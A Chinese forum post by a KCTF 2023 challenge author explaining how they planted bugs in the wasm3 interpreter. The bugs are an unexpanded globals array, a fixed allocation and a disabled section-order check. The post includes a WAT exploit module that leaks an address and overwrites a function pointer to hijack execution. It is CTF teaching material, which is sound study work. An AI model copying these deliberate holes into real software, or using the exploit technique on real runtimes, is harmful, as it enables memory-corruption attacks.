首页
社区
课程
招聘
【2023 KCTF 年度赛】Der_Steppenwolf
2023-8-13 01:08 4650

【2023 KCTF 年度赛】Der_Steppenwolf

2023-8-13 01:08
4650

前言

自去年的 KCTF 以来,对 PWN 的认知渐渐发生了些许变化。刚开始入门的时候总希望着程序是精简而美观的,这样不会妨碍到自己在做题时的理解,但显然,并不是所有题目都是如此,也不是所有出题人都这么认为。随着接触到的内容越来越多,我渐渐不去关心程序本身是否美观了,因为那是一种奢侈,只要程序并不至于太大,总归是有办法的。

但是显然,越是接近真正的 PWN,或者说现实的 PWN,就会明白二进制体很小其实也是可遇不可求的,哪怕是各大比赛,都在往真实环境靠,依靠人力和反编译工具阅读代码变得越来越困难了。但或许大家都发现了,越是接近现实的 PWN 就越是无聊,如果 CTF Game 变得和现实里的挖洞没有区别了,那它还是 Game 吗?

出于这些考量,我希望能延续去年的方案,为选手直接或间接的提供源代码以供分析,并且将题目的关键点聚焦在 “漏洞利用” 而非 “漏洞挖掘‘。其实没有什么很强的目的性,但是不得不考虑的是,大部分漏洞挖掘的方式其实都比较千篇一律,但漏洞利用却能各不相同,既然是为了见识到更多的思考和技巧,那么还是从利用上提出问题比较令自己满意。(事实上,这两次KCTF中,我的题目都收获了让我意想不到的新奇做法,我觉得这种感觉很好,因为 CTF 本身就是一种对抗学习的比赛,出题人千方百计构造出的利用链完全有可能被选手以一种难以想象的方式攻破。)

最开始,我是基于 V8 出一道题的,但是出于各种现实因素,最终还是放弃了。
但浏览器相关的东西一直以来都很有意思,所以最后选了一个较为经典的 WASM 解释器作为范本进行修改。

出题思路

过去没接触过这些东西的时候对 WASM 还不敏感,但最近耳边相关的声音越来越多了,于是选了一个比较有代表性的项目作为样本进行魔改,也是希望选手能通过查询资料找到这个项目的源代码来加快分析:

https://github.com/wasm3/wasm3

整个项目的核心部分是用 C 语言编写的,并且代码量其实并不会特别庞大,相比于 V8 之类的 JavaScript 引擎,它要好上太多了。

大致阅读了一下代码逻辑可以发现,该项目支持很多不同的输入,而既然我们要以 WASM 作为游戏的关键部分,那自然要选择对 WASM 代码进行解析的部分作为主要内容了,大致逻辑如下:

  • 读取输入的 WASM 字节码,交给 m3_ParseModule 按照模块进行解析
  • 解析了输入模块以后,调用 m3_LoadModule 进行初始化设置
  • 调用 link_all 将 WASI 模块链接进来
  • 调用 repl_call 对模块中的函数实现进行调用,执行具体的字节码

每一个部分其实都适合插入漏洞,我最开始的想法是在字节码执行部分修改字节码的行为从而导致非预期的问题发生,但最终放弃了,因为它并不具备 JIT 的能力,并且所有的字节码都运行在内存隔离的环境下,无法对外界进行访问,而如果强行在这个地方注入漏洞,那一切就都会看起来非常突兀,并且题目会变得单一,这并非我希望的事情。

通过阅读第一部分的代码逻辑,我发现 WASM 字节码具有固定的格式,其中,对全局变量的访问实际上是通过数组索引进行的,最终编译在字节码中的字节其实就是一个索引。这非常有趣,因为它意味着用户输入可以不遵守编译器的阅读,而去构建非法的字节码进行越界。

事实上,我在使用 wat2wasm 对我的 exploit 进行编译时也发现,强行访问越界索引是会被编译器阻止的,以此为出发点,可以引导选手主动规避编译器的规范去构造恶意 WASM 字节码。

于是我修改了第一处代码,去除了对全局变量数组的扩展:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
M3Result  Module_AddGlobal  (IM3Module io_module, IM3Global * o_global, u8 i_type, bool i_mutable, bool i_isImported)
{
_try {
    u32 index = io_module->numGlobals++;
    //io_module->globals = m3_ReallocArray (M3Global, io_module->globals, io_module->numGlobals, index);
    _throwifnull (io_module->globals);
    M3Global * global = & io_module->globals [index];
    global->type = i_type;
    global->imported = i_isImported;
    global->isMutable = i_mutable;
 
    if (o_global)
        * o_global = global;
} _catch:
    return result;
}

同时,还需要有一个地方能为全局变量进行初始化,我最终选定的目标是 ParseSection_Import

1
2
3
4
5
6
7
8
9
10
11
M3Result  ParseSection_Import  (IM3Module io_module, bytes_t i_bytes, cbytes_t i_end)
{
    M3Result result = m3Err_none;
    M3ImportInfo import = { NULL, NULL }, clearImport = { NULL, NULL };
    u32 numImports;
_   (ReadLEB_u32 (& numImports, & i_bytes, i_end));                                 m3log (parse, "** Import [%d]", numImports);
    _throwif("too many imports", numImports > d_m3MaxSaneImportsCount);
    io_module->globals= m3_AllocArray (M3Global,  20);
     
    // Most imports are functions, so we won't waste much space anyway (if any)
_   (Module_PreallocFunctions(io_module, numImports));

选择这里其实是有原因的,因为只有在这个地方去创建才能让题目可做,后文会提到为什么。

有了这两个点以后,似乎一切都变得比较自然了。因为全局数组的地址紧邻着由 Module_PreallocFunctions 创建的函数列表。在 M3Function 结构体中存在一个 compiled 成员,阅读 Call 指令的编译部分可以发现,如果该成员非零,就会认为该函数已被编译,可以直接跳转到 compiled 中储存的地址去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
static
M3Result  Compile_Call  (IM3Compilation o, m3opcode_t i_opcode)
{
_try {
    u32 functionIndex;
_   (ReadLEB_u32 (& functionIndex, & o->wasm, o->wasmEnd));
 
    IM3Function function = Module_GetFunction (o->module, functionIndex);
 
    if (function)
    {                                                                   m3log (compile, d_indent " (func= [%d] '%s'; args= %d)",                                                                          get_indention_string (o), functionIndex, m3_GetFunctionName (function), function->funcType->numArgs);
        if (function->module)
        {
            u16 slotTop;
_           (CompileCallArgsAndReturn (o, & slotTop, function->funcType, false));
            IM3Operation op;
            const void * operand;
            if (function->compiled)
            {
                op = op_Call;
                operand = function->compiled;
            }
            else
            {
                op = op_Compile;
                operand = function;
            }

一切是不是都看起来非常的自然,就好像我只需要用额外的 global 去覆盖 compiled 就足够的样子,但实际上是不行的,并且是理论上不可能实现的。

我在测试的时候发现,二者在内存上是不可能有重叠的可能性的。如下是 M3Global 结构体的定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
typedef struct M3Global
{
    M3ImportInfo            import;
    union
    {
        i32 i32Value;
        i64 i64Value;
#if d_m3HasFloat
        f64 f64Value;
        f32 f32Value;
#endif
    };
    cstr_t                  name;
    bytes_t                 initExpr;       // wasm code
    u32                     initExprSize;
    u8                      type;
    bool                    imported;
    bool                    isMutable;
}
M3Global;

用于储存具体数值的 i64Value 在内存上永远对齐了 0x10,而 compiled 则永远对齐到 0x08,不论如何覆盖都是不可能完成的,于是我还修改了一个点:

1
2
3
# ifndef d_m3MaxDuplicateFunctionImpl
#   define d_m3MaxDuplicateFunctionImpl         4
# endif

我让 M3Function 的 names 字段多加 8 个字节,这样是不是就能成功了呢?还是不行。经过笔者测试,如果二者在内存上直接相邻,那 i64Valuecompiled 最小也会有 0x10 的偏移,似乎还是不能成功。

但如果他们之间相互并不紧邻的话,就会导致向下覆盖到其他结构体的数据,这会直接导致程序崩溃所以也要避免。

好在我发现有一种方案能够避开崩溃并且自由调节 i64Valuecompiled 的偏移:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
    static M3Parser s_parsers [] =
    {
        ParseSection_Custom,    // 0
        ParseSection_Type,      // 1
        ParseSection_Import,    // 2
        ParseSection_Function,  // 3
        NULL,                   // 4: TODO Table
        ParseSection_Memory,    // 5
        ParseSection_Global,    // 6
        ParseSection_Export,    // 7
        ParseSection_Start,     // 8
        ParseSection_Element,   // 9
        ParseSection_Code,      // 10
        ParseSection_Data,      // 11
        NULL,                   // 12: TODO DataCount
    };

WASM3 按照这样的顺序解析字节码,而 Function 数组最早会在 ParseSection_Import 中根据导入的符号数进行创建,如果实际的函数数量超过了当前的数组容量,那么就会调用 realloc 重新开辟,通过调整内存布局就能够让二者中间留下无用的内存,这样就可以任意越界了。

但是只是这样还是无法完成利用。

我本以为这样看起来好像万无一失了,但经过调试发现,我无法泄露任何地址,因为在 m3_LoadModule 会解析全局变量的值,这会让原本就算有值的地方也被覆盖成自己声明的值,并且没有手段能够阻止它不去解析。

但笔者发现通过 Import 导入的全局变量并不会被解析,这样就不用担心本该泄露的值被覆盖了,但是这也很糟糕,因为其他成员会破坏函数的结构体,这会导致在 link_all 阶段程序崩溃。于是我做了第三个变动:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
M3Result  m3_ParseModule  (IM3Environment i_environment, IM3Module * o_module, cbytes_t i_bytes, u32 i_numBytes)
{
    IM3Module module;                                                               m3log (parse, "load module: %d bytes", i_numBytes);
_try {
    ....
    static const u8 sectionsOrder[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 12, 10, 11, 0 }; // 0 is a placeholder
    u8 expectedSection = 0;
   
    while (pos < end)
    {
        u8 section;
_       (ReadLEB_u7 (& section, & pos, end));
   
        if (section != 0) {
            // Ensure sections appear only once and in order
            //while (sectionsOrder[expectedSection++] != section) {
                _throwif(m3Err_misorderedWasmSection, section >= 12);
            //}
        }

这将导致程序解析不再需要按照顺序读取模块,甚至模块可以重复导入。那么最终就可以在正常的 M3global 后面插入 Import Global,从而规避开内存破坏。

在有了以上这些操作以后,最终能够构建出差不多如下的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
(module
  (import "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "toka" (global $aa1 (mut i64)))
  (import "toka" "toka" (global $aa2 (mut i64)))
  (import "toka" "toka" (global $aa3 (mut i64)))
  (import "toka" "toka" (global $aa4 (mut i64)))
  (import "toka" "toka" (global $aa5 (mut i64)))
 
  (global $g1 (mut i64) (i64.const 0));;6+31+12
  (export "a" (global $g1))
  (global $g2 (mut i64) (i64.const 0))
  (global $g3 (mut i64) (i64.const 0))
  (global $g4 (mut i64) (i64.const 0))
  (global $g5 (mut i64) (i64.const 0))
  (global $g6 (mut i64) (i64.const 0))
  (global $g7 (mut i64) (i64.const 0))
  (global $g8 (mut i64) (i64.const 0))
  (global $g9 (mut i64) (i64.const 0))
  (global $g10 (mut i64) (i64.const 0))
  (global $g11 (mut i64) (i64.const 0))
  (global $g12 (mut i64) (i64.const 0))
  (global $g13 (mut i64) (i64.const 0))
  (global $g14 (mut i64) (i64.const 0))
  (global $g15 (mut i64) (i64.const 0))
  (global $g16 (mut i64) (i64.const 0))
  (global $g17 (mut i64) (i64.const 0))
  (global $g18 (mut i64) (i64.const 0))
  (global $g19 (mut i64) (i64.const 0))
  (global $g20 (mut i64) (i64.const 0))
  (global $g21 (mut i64) (i64.const 0))
  (global $g22 (mut i64) (i64.const 0))
  (global $g23 (mut i64) (i64.const 0))
  (global $g24 (mut i64) (i64.const 0))
  (global $g25 (mut i64) (i64.const 0))
  (global $g26 (mut i64) (i64.const 0))
  (global $g27 (mut i64) (i64.const 0))
  (global $g28 (mut i64) (i64.const 0))
  (global $g29 (mut i64) (i64.const 0))
  (global $g30 (mut i64) (i64.const 0))
  (global $g31 (mut i64) (i64.const 0))
  (global $a0 (mut i64) (i64.const 0))
  (global $a1 (mut i64) (i64.const 0))
  (global $a2 (mut i64) (i64.const 0))
  (global $a3 (mut i64) (i64.const 0))
  (global $a4 (mut i64) (i64.const 0))
  (global $a5 (mut i64) (i64.const 0))
  (global $a6 (mut i64) (i64.const 0))
  (global $a7 (mut i64) (i64.const 0))
  (global $a8 (mut i64) (i64.const 0))
  (global $a9 (mut i64) (i64.const 0))
  (global $a10 (mut i64) (i64.const 0))
  (global $a11 (mut i64) (i64.const 1))
 
  (memory 1024)
  (data (i32.const 0) "Hello, world!\n")
  (func $toka1
  )
  (func $toka
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
    (call $toka1)
 
  )
 
  (func $toka2
   
  )
  (func $toka3
   
  )
  (func $toka4
   
  )
  (func $toka5
   
  )
  (func $toka6
   
  )
  (func $toka7
   
  )
  (func $toka8
   
  )
  (func $toka9
   
  )
  (func $toka10
   
  )
 
  ;; _start function
  (func $_start(export "_start")
    (local i64)
    (local i64)
    (local i64)
    (local i64)
    (local i64)
    (local i64)
    (local i64)
    (local i64)
    (local i64)
    (local i64)
    (local i64)
    (local i64)
    (local i64)
    (local i64)
    (local i64)
 
    (call $toka10)
    (global.get $a10) ;;get global[49]
    (i64.sub (i64.const 71016))
     
    (local.set 0)
     
    (i64.const 4221760)
    (local.set 1)
    (i64.const 29400045130965551)
    (local.set 2)
    (local.get 0)
    (global.set $a9) ;;set global[50] to control rip
    (global.get $a9)
    (local.set 5)
    (call $toka1)
  )
  (export "toka1" (func $toka1))
  (export "/bin/sh" (func $toka1))
)

其中有部分对全局变量获取的地方需要手动对编译后的字节码进行 patch 来调整输入,并且最终要在 export 段以后额外添加一份 import 段:

解题思路

解题思路其实就跟出题思路差不多了,唯一的区别就是在漏洞发现部分,选手可以用 bindiff 对程序进行对比,从而找出被修补后的代码部分,然后通过阅读二进制程序来还原源代码。

最终确立出如下两个变化:

  • 全局变量越界
  • 解析顺序随意

因为我对代码的改动其实很少,所以应该是比较容易能够发现问题的。

后续的利用就如前文所说了。

日后谈

其实对堆风水的细节调整笔者做了大量的调试,要比文中所说的麻烦的多,作为防守方我肯定是希望尽可能减少修改来提高难度的,但是有的时候如果不这么改又做不出来,又或者我能否再少改一些?或许是我把自己绕进去了吧。

最后也希望各位玩的开心,享受这个游戏的过程。


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2023-10-6 11:02 被kanxue编辑 ,原因:
上传的附件:
收藏
免费 0
打赏
分享
最新回复 (1)
雪    币: 38331
活跃值: (19480)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2023-8-27 15:44
2
0

第十三题 共存之道

最后于 2023-8-27 15:59 被kanxue编辑 ,原因:
游客
登录 | 注册 方可回帖
返回